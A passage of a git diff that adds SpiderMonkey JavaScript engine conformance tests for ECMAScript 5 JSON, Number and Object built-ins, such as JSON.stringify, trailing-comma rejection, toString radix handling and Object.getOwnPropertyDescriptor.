+assertStringify({"null":null}, '{"null":null}');
+assertStringify({"five":5}, '{"five":5}');
+assertStringify({"five":5, "six":6}, '{"five":5,"six":6}');
+assertStringify({"x":{"y":"z"}}, '{"x":{"y":"z"}}');
+assertStringify({"w":{"x":{"y":"z"}}}, '{"w":{"x":{"y":"z"}}}');
+assertStringify([1,2,3], '[1,2,3]');
+assertStringify({"w":{"x":{"y":[1,2,3]}}}, '{"w":{"x":{"y":[1,2,3]}}}');
+assertStringify({"false":false}, '{"false":false}');
+assertStringify({"true":true}, '{"true":true}');
+assertStringify({"child has two members": {"this":"one", 2:"and this one"}},
+ '{"child has two members":{"2":"and this one","this":"one"}}');
+assertStringify({"x":{"a":"b","c":{"y":"z"},"f":"g"}},
+ '{"x":{"a":"b","c":{"y":"z"},"f":"g"}}');
+assertStringify({"x":[1,{"y":"z"},3]}, '{"x":[1,{"y":"z"},3]}');
+assertStringify([new String("hmm")], '["hmm"]');
+assertStringify([new Boolean(true)], '[true]');
+assertStringify([new Number(42)], '[42]');
+assertStringify([new Date(Date.UTC(1978, 8, 13, 12, 24, 34, 23))],
+ '["1978-09-13T12:24:34.023Z"]');
+assertStringify([1,,3], '[1,null,3]');
+assertStringify({"mm\"mm":"hmm"}, '{"mm\\\"mm":"hmm"}');
+assertStringify({"mm\"mm\"mm":"hmm"}, '{"mm\\\"mm\\\"mm":"hmm"}');
+assertStringify({'"':"hmm"}, '{"\\\"":"hmm"}');
+assertStringify({'\\':"hmm"}, '{"\\\\":"hmm"}');
+assertStringify({'mmm\\mmm':"hmm"}, '{"mmm\\\\mmm":"hmm"}');
+assertStringify({'mmm\\mmm\\mmm':"hmm"}, '{"mmm\\\\mmm\\\\mmm":"hmm"}');
+assertStringify({"mm\u000bmm":"hmm"}, '{"mm\\u000bmm":"hmm"}');
+assertStringify({"mm\u0000mm":"hmm"}, '{"mm\\u0000mm":"hmm"}');
+
+var x = {"free":"variable"};
+assertStringify(x, '{"free":"variable"}');
+assertStringify({"y":x}, '{"y":{"free":"variable"}}');
+
+// array prop
+assertStringify({ a: [1,2,3] }, '{"a":[1,2,3]}');
+
+assertStringify({"y": { foo: function(hmm) { return hmm; } } }, '{"y":{}}');
+
+// test toJSON
+var hmm = { toJSON: function() { return {"foo":"bar"} } };
+assertStringify({"hmm":hmm}, '{"hmm":{"foo":"bar"}}');
+assertStringify(hmm, '{"foo":"bar"}'); // on the root
+
+// toJSON on prototype
+var Y = function() {
+ this.not = "there?";
+ this.d = "e";
+};
+Y.prototype = {
+ not: "there?",
+ toJSON: function() { return {"foo":"bar"}}
+};
+var y = new Y();
+assertStringify(y.toJSON(), '{"foo":"bar"}');
+assertStringify(y, '{"foo":"bar"}');
+
+// return undefined from toJSON
+assertStringify({"hmm": { toJSON: function() { return; } } }, '{}');
+
+// array with named prop
+var x = new Array();
+x[0] = 1;
+x.foo = "bar";
+assertStringify(x, '[1]');
+
+// prototype
+var X = function() { this.a = "b" };
+X.prototype = { c: "d" };
+assertStringify(new X(), '{"a":"b"}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/trailing-comma.js b/js/src/tests/ecma_5/JSON/trailing-comma.js
new file mode 100644
index 000000000..0dc20e71a
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/trailing-comma.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'trailing-comma.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 564621;
+var summary = 'JSON.parse should reject {"a" : "b",} or [1,]';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+testJSON('[]', false);
+testJSON('[1]', false);
+testJSON('["a"]', false);
+testJSON('{}', false);
+testJSON('{"a":1}', false);
+testJSON('{"a":"b"}', false);
+testJSON('{"a":true}', false);
+testJSON('[{}]', false);
+
+testJSON('[1,]', true);
+testJSON('["a",]', true);
+testJSON('{,}', true);
+testJSON('{"a":1,}', true);
+testJSON('{"a":"b",}', true);
+testJSON('{"a":true,}', true);
+testJSON('[{,}]', true);
+testJSON('[[1,]]', true);
+testJSON('[{"a":"b",}]', true);
diff --git a/js/src/tests/ecma_5/Number/15.7.4.2.js b/js/src/tests/ecma_5/Number/15.7.4.2.js
new file mode 100644
index 000000000..36443394c
--- /dev/null
+++ b/js/src/tests/ecma_5/Number/15.7.4.2.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(true)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call("")'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call({})'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(null)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call([])'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(new Boolean(true))'), true);
+
+assertEq(completesNormally('Number.prototype.toString.call(42)'), true);
+assertEq(completesNormally('Number.prototype.toString.call(new Number(42))'), true);
+
+function testAround(middle)
+{
+ var range = 260;
+ var low = middle - range/2;
+ for (var i = 0; i < range; ++i)
+ assertEq(low + i, parseInt(String(low + i)));
+}
+
+testAround(-Math.pow(2,32));
+testAround(-Math.pow(2,16));
+testAround(0);
+testAround(+Math.pow(2,16));
+testAround(+Math.pow(2,32));
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Number/browser.js b/js/src/tests/ecma_5/Number/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Number/browser.js
diff --git a/js/src/tests/ecma_5/Number/conversion-invalid-precision.js b/js/src/tests/ecma_5/Number/conversion-invalid-precision.js
new file mode 100644
index 000000000..76c3a94d0
--- /dev/null
+++ b/js/src/tests/ecma_5/Number/conversion-invalid-precision.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 795745;
+var summary =
+ "Number.prototype.to* should throw a RangeError when passed a bad precision";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test(method, prec)
+{
+ try
+ {
+ Number.prototype[method].call(0, prec);
+ throw "should have thrown";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof RangeError, true,
+ "expected RangeError for " + method + " with precision " + prec +
+ ", got " + e);
+ }
+}
+
+test("toExponential", -32);
+test("toFixed", -32);
+test("toPrecision", -32);
+
+test("toExponential", 9999999);
+test("toFixed", 9999999);
+test("toPrecision", 9999999);
+
+test("toPrecision", 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Number/defaultvalue.js b/js/src/tests/ecma_5/Number/defaultvalue.js
new file mode 100644
index 000000000..15bf02162
--- /dev/null
+++ b/js/src/tests/ecma_5/Number/defaultvalue.js
@@ -0,0 +1,170 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 645464;
+var summary =
+ "[[DefaultValue]] behavior wrong for Number with overridden valueOf/toString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+
+// equality
+
+var n = new Number();
+assertEq(n == 0, true);
+
+var n2 = new Number();
+n2.valueOf = function() { return 17; };
+assertEq(n2 == 17, true);
+
+var n3 = new Number();
+n3.toString = function() { return 42; };
+assertEq(n3 == 0, true);
+
+function testEquality()
+{
+ var n = new Number();
+ assertEq(n == 0, true);
+
+ var n2 = new Number();
+ n2.valueOf = function() { return 17; };
+ assertEq(n2 == 17, true);
+
+ var n3 = new Number();
+ n3.toString = function() { return 42; };
+ assertEq(n3 == 0, true);
+}
+testEquality();
+
+
+// addition of Number to number
+
+var n = new Number();
+assertEq(n + 5, 5);
+
+var n2 = new Number();
+n2.toString = function() { return 9; };
+assertEq(n2 + 3, 3);
+
+var n3 = new Number();
+n3.valueOf = function() { return 17; };
+assertEq(n3 + 5, 22);
+
+function testNumberAddition()
+{
+ var n = new Number();
+ assertEq(n + 5, 5);
+
+ var n2 = new Number();
+ n2.toString = function() { return 9; };
+ assertEq(n2 + 3, 3);
+
+ var n3 = new Number();
+ n3.valueOf = function() { return 17; };
+ assertEq(n3 + 5, 22);
+}
+testNumberAddition();
+
+
+// addition of Number to Number
+
+var n = new Number();
+assertEq(n + n, 0);
+
+var n2 = new Number();
+n2.toString = function() { return 5; };
+assertEq(n2 + n2, 0);
+
+var n3 = new Number();
+n3.valueOf = function() { return 8.5; };
+assertEq(n3 + n3, 17);
+
+function testNonNumberAddition()
+{
+ var n = new Number();
+ assertEq(n + n, 0);
+
+ var n2 = new Number();
+ n2.toString = function() { return 5; };
+ assertEq(n2 + n2, 0);
+
+ var n3 = new Number();
+ n3.valueOf = function() { return 8.5; };
+ assertEq(n3 + n3, 17);
+}
+testNonNumberAddition();
+
+
+// Number as bracketed property name
+
+var obj = { 0: 17, 8: 42, 9: 8675309 };
+
+var n = new Number();
+assertEq(obj[n], 17);
+
+var n2 = new Number();
+n2.valueOf = function() { return 8; }
+assertEq(obj[n2], 17);
+
+var n3 = new Number();
+n3.toString = function() { return 9; };
+assertEq(obj[n3], 8675309);
+
+function testPropertyNameToNumber()
+{
+ var obj = { 0: 17, 8: 42, 9: 8675309 };
+
+ var n = new Number();
+ assertEq(obj[n], 17);
+
+ var n2 = new Number();
+ n2.valueOf = function() { return 8; }
+ assertEq(obj[n2], 17);
+
+ var n3 = new Number();
+ n3.toString = function() { return 9; };
+ assertEq(obj[n3], 8675309);
+}
+testPropertyNameToNumber();
+
+
+// Number as property name with |in| operator
+
+var n = new Number();
+assertEq(n in { 0: 5 }, true);
+
+var n2 = new Number();
+n2.toString = function() { return "baz"; };
+assertEq(n2 in { baz: 42 }, true);
+
+var n3 = new Number();
+n3.valueOf = function() { return "quux"; };
+assertEq(n3 in { 0: 17 }, true);
+
+function testInOperatorName()
+{
+ var n = new Number();
+ assertEq(n in { 0: 5 }, true);
+
+ var n2 = new Number();
+ n2.toString = function() { return "baz"; };
+ assertEq(n2 in { baz: 42 }, true);
+
+ var n3 = new Number();
+ n3.valueOf = function() { return "quux"; };
+ assertEq(n3 in { 0: 17 }, true);
+}
+testInOperatorName();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Number/shell.js b/js/src/tests/ecma_5/Number/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Number/shell.js
diff --git a/js/src/tests/ecma_5/Number/toString-radix-handling.js b/js/src/tests/ecma_5/Number/toString-radix-handling.js
new file mode 100644
index 000000000..dd91675a2
--- /dev/null
+++ b/js/src/tests/ecma_5/Number/toString-radix-handling.js
@@ -0,0 +1,37 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 647385;
+var summary =
+ "Number.prototype.toString should use ToInteger on the radix and should " +
+ "throw a RangeError if the radix is bad";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test(r)
+{
+ try
+ {
+ 5..toString(r);
+ throw "should have thrown";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof RangeError, true, "expected a RangeError, got " + e);
+ }
+}
+test(Math.pow(2, 32) + 10);
+test(55);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Number/tonumber-string-hex.js b/js/src/tests/ecma_5/Number/tonumber-string-hex.js
new file mode 100644
index 000000000..ed1e9b9dd
--- /dev/null
+++ b/js/src/tests/ecma_5/Number/tonumber-string-hex.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 872853;
+var summary = 'Various tests of ToNumber(string), particularly +"0x" being NaN';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(+"0x", NaN);
+assertEq(+"\t0x", NaN);
+assertEq(+"0x\n", NaN);
+assertEq(+"\n0x\t", NaN);
+assertEq(+"0x0", 0);
+assertEq(+"0xa", 10);
+assertEq(+"0xff", 255);
+assertEq(+"-0x", NaN);
+assertEq(+"-0xa", NaN);
+assertEq(+"-0xff", NaN);
+assertEq(+"0xInfinity", NaN);
+assertEq(+"+Infinity", Infinity);
+assertEq(+"-Infinity", -Infinity);
+assertEq(+"\t+Infinity", Infinity);
+assertEq(+"-Infinity\n", -Infinity);
+assertEq(+"+ Infinity", NaN);
+assertEq(+"- Infinity", NaN);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.12.js b/js/src/tests/ecma_5/Object/15.2.3.12.js
new file mode 100644
index 000000000..00593a240
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.12.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Object.isFrozen */
+
+assertEq(Object.isFrozen({}), false);
+
+assertEq(Object.isFrozen(Object.preventExtensions({})), true);
+
+var o = Object.defineProperty({}, 'x', { writable:true, configurable:true });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:false, configurable:true });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:true, configurable:false });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:false, configurable:false });
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:false, configurable:false });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), true);
+
+var o = Object.defineProperties({}, { x: { writable:true, configurable:true },
+ y: { writable:false, configurable:false } });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperties({}, { x: { writable:false, configurable:false },
+ y: { writable:true, configurable:true } });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperties({}, { x: { writable:true, configurable:true },
+ y: { writable:true, configurable:true } });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.14-01.js b/js/src/tests/ecma_5/Object/15.2.3.14-01.js
new file mode 100644
index 000000000..81ab3fe38
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.14-01.js
@@ -0,0 +1,92 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 307791;
+var summary = 'ES5 Object.keys(O)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function arraysEqual(a1, a2)
+{
+ return a1.length === a2.length &&
+ a1.every(function(v, i) { return v === a2[i]; });
+}
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(Object.keys.length, 1);
+
+var o, keys;
+
+o = { a: 3, b: 2 };
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["a", "b"]), true,
+ "" + keys);
+
+o = { get a() { return 17; }, b: 2 };
+keys = Object.keys(o),
+assertEq(arraysEqual(keys, ["a", "b"]), true,
+ "" + keys);
+
+o = { __iterator__: function() { return Iterator({a: 2, b: 3}); } };
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["__iterator__"]), true,
+ "" + keys);
+
+o = { a: 1, b: 2 };
+delete o.a;
+o.a = 3;
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["b", "a"]), true,
+ "" + keys);
+
+o = [0, 1, 2];
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["0", "1", "2"]), true,
+ "" + keys);
+
+o = /./.exec("abc");
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["0", "index", "input"]), true,
+ "" + keys);
+
+o = { a: 1, b: 2, c: 3 };
+delete o.b;
+o.b = 5;
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["a", "c", "b"]), true,
+ "" + keys);
+
+function f() { }
+f.prototype.p = 1;
+o = new f();
+o.g = 1;
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["g"]), true,
+ "" + keys);
+
+if (typeof Namespace !== "undefined" && typeof QName !== "undefined")
+{
+ var o2 = {};
+ var qn = new QName(new Namespace("foo"), "v");
+ o2.f = 1;
+ o2[qn] = 3;
+ o2.baz = 4;
+ var keys2 = Object.keys(o2);
+ assertEq(arraysEqual(keys2, ["f", "foo::v", "baz"]), true,
+ "" + keys2);
+}
+
+/******************************************************************************/
+
+reportCompare(expect, actual, "Object.keys");
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.3-01.js b/js/src/tests/ecma_5/Object/15.2.3.3-01.js
new file mode 100644
index 000000000..ed94a14f4
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.3-01.js
@@ -0,0 +1,285 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 505587;
+var summary = 'ES5 Object.getOwnPropertyDescriptor(O)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertEq(a, e, msg)
+{
+ function SameValue(v1, v2)
+ {
+ if (v1 === 0 && v2 === 0)
+ return 1 / v1 === 1 / v2;
+ if (v1 !== v1 && v2 !== v2)
+ return true;
+ return v1 === v2;
+ }
+
+ if (!SameValue(a, e))
+ {
+ var stack = new Error().stack || "";
+ throw "Assertion failed: got " + a + ", expected " + e +
+ (msg ? ": " + msg : "") +
+ (stack ? "\nStack:\n" + stack : "");
+ }
+}
+
+function expectDescriptor(actual, expected)
+{
+ if (actual === undefined && expected === undefined)
+ return;
+
+ assertEq(typeof actual, "object");
+ assertEq(typeof expected, "object");
+
+ var fields =
+ {
+ value: true,
+ get: true,
+ set: true,
+ enumerable: true,
+ writable: true,
+ configurable: true
+ };
+ for (var p in fields)
+ assertEq(actual.hasOwnProperty(p), expected.hasOwnProperty(p), p);
+ for (var p in actual)
+ assertEq(p in fields, true, p);
+ for (var p in expected)
+ assertEq(p in fields, true, p);
+
+ assertEq(actual.hasOwnProperty("value"), actual.hasOwnProperty("writable"));
+ assertEq(actual.hasOwnProperty("get"), actual.hasOwnProperty("set"));
+ if (actual.hasOwnProperty("value"))
+ {
+ assertEq(actual.value, expected.value);
+ assertEq(actual.writable, expected.writable);
+ }
+ else
+ {
+ assertEq(actual.get, expected.get);
+ assertEq(actual.set, expected.set);
+ }
+
+ assertEq(actual.hasOwnProperty("enumerable"), true);
+ assertEq(actual.hasOwnProperty("configurable"), true);
+ assertEq(actual.enumerable, expected.enumerable);
+ assertEq(actual.configurable, expected.configurable);
+}
+
+function adjustDescriptorField(o, actual, expect, field)
+{
+ assertEq(field === "get" || field === "set", true);
+ var lookup = "__lookup" + (field === "get" ? "G" : "S") + "etter";
+ if (typeof o[lookup] === "function")
+ expect[field] = o[lookup](field);
+ else
+ actual[field] = expect[field] = undefined; /* censor if we can't lookup */
+}
+
+/******************************************************************************/
+
+var o, pd, expected;
+
+o = { get x() { return 12; } };
+
+pd = Object.getOwnPropertyDescriptor(o, "x");
+expected =
+ {
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ };
+adjustDescriptorField(o, pd, expected, "get");
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+var o2;
+
+o = Object.create(Object.prototype, { x: {get: function () { return 12; } } });
+
+pd = Object.getOwnPropertyDescriptor(o, "x");
+expected =
+ {
+ set: undefined,
+ enumerable: false,
+ configurable: false
+ };
+adjustDescriptorField(o, pd, expected, "get");
+
+expectDescriptor(pd, expected);
+
+o2 = Object.create(o);
+assertEq(Object.getOwnPropertyDescriptor(o2, "x"), undefined);
+
+/******************************************************************************/
+
+o = {};
+o.b = 12;
+
+pd = Object.getOwnPropertyDescriptor(o, "b");
+expected =
+ {
+ value: 12,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ };
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+o = { get y() { return 17; }, set y(z) { } };
+
+pd = Object.getOwnPropertyDescriptor(o, "y");
+expected =
+ {
+ enumerable: true,
+ configurable: true
+ };
+adjustDescriptorField(o, pd, expected, "get");
+adjustDescriptorField(o, pd, expected, "set");
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+o = {};
+
+pd = Object.getOwnPropertyDescriptor(o, "absent");
+
+expectDescriptor(pd, undefined);
+
+/******************************************************************************/
+
+pd = Object.getOwnPropertyDescriptor([], "length");
+expected =
+ {
+ value: 0,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor([1], "length");
+expected =
+ {
+ value: 1,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor([1,], "length");
+expected =
+ {
+ value: 1,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor([1,,], "length");
+expected =
+ {
+ value: 2,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+pd = Object.getOwnPropertyDescriptor(new String("foobar"), "length");
+expected =
+ {
+ value: 6,
+ writable: false,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+function foo() { }
+o = foo;
+
+pd = Object.getOwnPropertyDescriptor(o, "length");
+expected =
+ {
+ value: 0,
+ writable: false,
+ enumerable: false,
+ configurable: true
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor(o, "prototype");
+expected =
+ {
+ value: foo.prototype,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+pd = Object.getOwnPropertyDescriptor(Function, "length");
+expected =
+ {
+ value: 1,
+ writable: false,
+ enumerable: false,
+ configurable: true
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+o = /foo/im;
+
+pd = Object.getOwnPropertyDescriptor(o, "lastIndex");
+expected =
+ {
+ value: 0,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+reportCompare(expect, actual, "Object.getOwnPropertyDescriptor");
+
+printStatus("All tests passed");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.4-01.js b/js/src/tests/ecma_5/Object/15.2.3.4-01.js
new file mode 100644
index 000000000..3a84f0b66
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.4-01.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary =
+ 'Object.getOwnPropertyNames should play nicely with enumerator caching';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (var p in JSON);
+var names = Object.getOwnPropertyNames(JSON);
+assertEq(names.length >= 2, true,
+ "wrong number of property names? [" + names + "]");
+assertEq(names.indexOf("parse") >= 0, true);
+assertEq(names.indexOf("stringify") >= 0, true);
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.4-02.js b/js/src/tests/ecma_5/Object/15.2.3.4-02.js
new file mode 100644
index 000000000..b5e0842c2
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.4-02.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary = 'Object.getOwnPropertyNames: array objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a, names, expected;
+
+function arraysEqual(a1, a2)
+{
+ return a1.length === a2.length &&
+ a1.every(function(v, i) { return v === a2[i]; });
+}
+
+
+a = [0, 1, 2];
+
+names = Object.getOwnPropertyNames(a).sort();
+expected = ["0", "1", "2", "length"].sort();
+
+a = [1, , , 7];
+a.p = 2;
+Object.defineProperty(a, "q", { value: 42, enumerable: false });
+
+names = Object.getOwnPropertyNames(a).sort();
+expected = ["0", "3", "p", "q", "length"].sort();
+assertEq(arraysEqual(names, expected), true);
+
+
+a = [];
+
+names = Object.getOwnPropertyNames(a).sort();
+expected = ["length"];
+assertEq(arraysEqual(names, expected), true);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.4-03.js b/js/src/tests/ecma_5/Object/15.2.3.4-03.js
new file mode 100644
index 000000000..55dcc139c
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.4-03.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary = 'Object.getOwnPropertyNames: function objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function two(a, b) { }
+
+assertEq(Object.getOwnPropertyNames(two).indexOf("length") >= 0, true);
+
+var bound0 = Function.prototype.bind
+ ? two.bind("this")
+ : function two(a, b) { };
+
+assertEq(Object.getOwnPropertyNames(bound0).indexOf("length") >= 0, true);
+assertEq(bound0.length, 2);
+
+var bound1 = Function.prototype.bind
+ ? two.bind("this", 1)
+ : function one(a) { };
+
+assertEq(Object.getOwnPropertyNames(bound1).indexOf("length") >= 0, true);
+assertEq(bound1.length, 1);
+
+var bound2 = Function.prototype.bind
+ ? two.bind("this", 1, 2)
+ : function zero() { };
+
+assertEq(Object.getOwnPropertyNames(bound2).indexOf("length") >= 0, true);
+assertEq(bound2.length, 0);
+
+var bound3 = Function.prototype.bind
+ ? two.bind("this", 1, 2, 3)
+ : function zero() { };
+
+assertEq(Object.getOwnPropertyNames(bound3).indexOf("length") >= 0, true);
+assertEq(bound3.length, 0);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.4-04.js b/js/src/tests/ecma_5/Object/15.2.3.4-04.js
new file mode 100644
index 000000000..2561c7aff
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.4-04.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary = 'Object.getOwnPropertyNames: regular expression objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var actual = Object.getOwnPropertyNames(/a/);
+var expected = ["lastIndex"];
+
+for (var i = 0; i < expected.length; i++)
+{
+ reportCompare(actual.indexOf(expected[i]) >= 0, true,
+ expected[i] + " should be a property name on a RegExp");
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.5-01.js b/js/src/tests/ecma_5/Object/15.2.3.5-01.js
new file mode 100644
index 000000000..70cfd64f5
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.5-01.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492840;
+var summary = 'ES5 Object.create(O [, Properties])';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq("create" in Object, true);
+assertEq(Object.create.length, 2);
+
+var o, desc, props, proto;
+
+o = Object.create(null);
+assertEq(Object.getPrototypeOf(o), null, "bad null-proto");
+
+o = Object.create(null, { a: { value: 17, enumerable: false } });
+assertEq(Object.getPrototypeOf(o), null, "bad null-proto");
+assertEq("a" in o, true);
+desc = Object.getOwnPropertyDescriptor(o, "a");
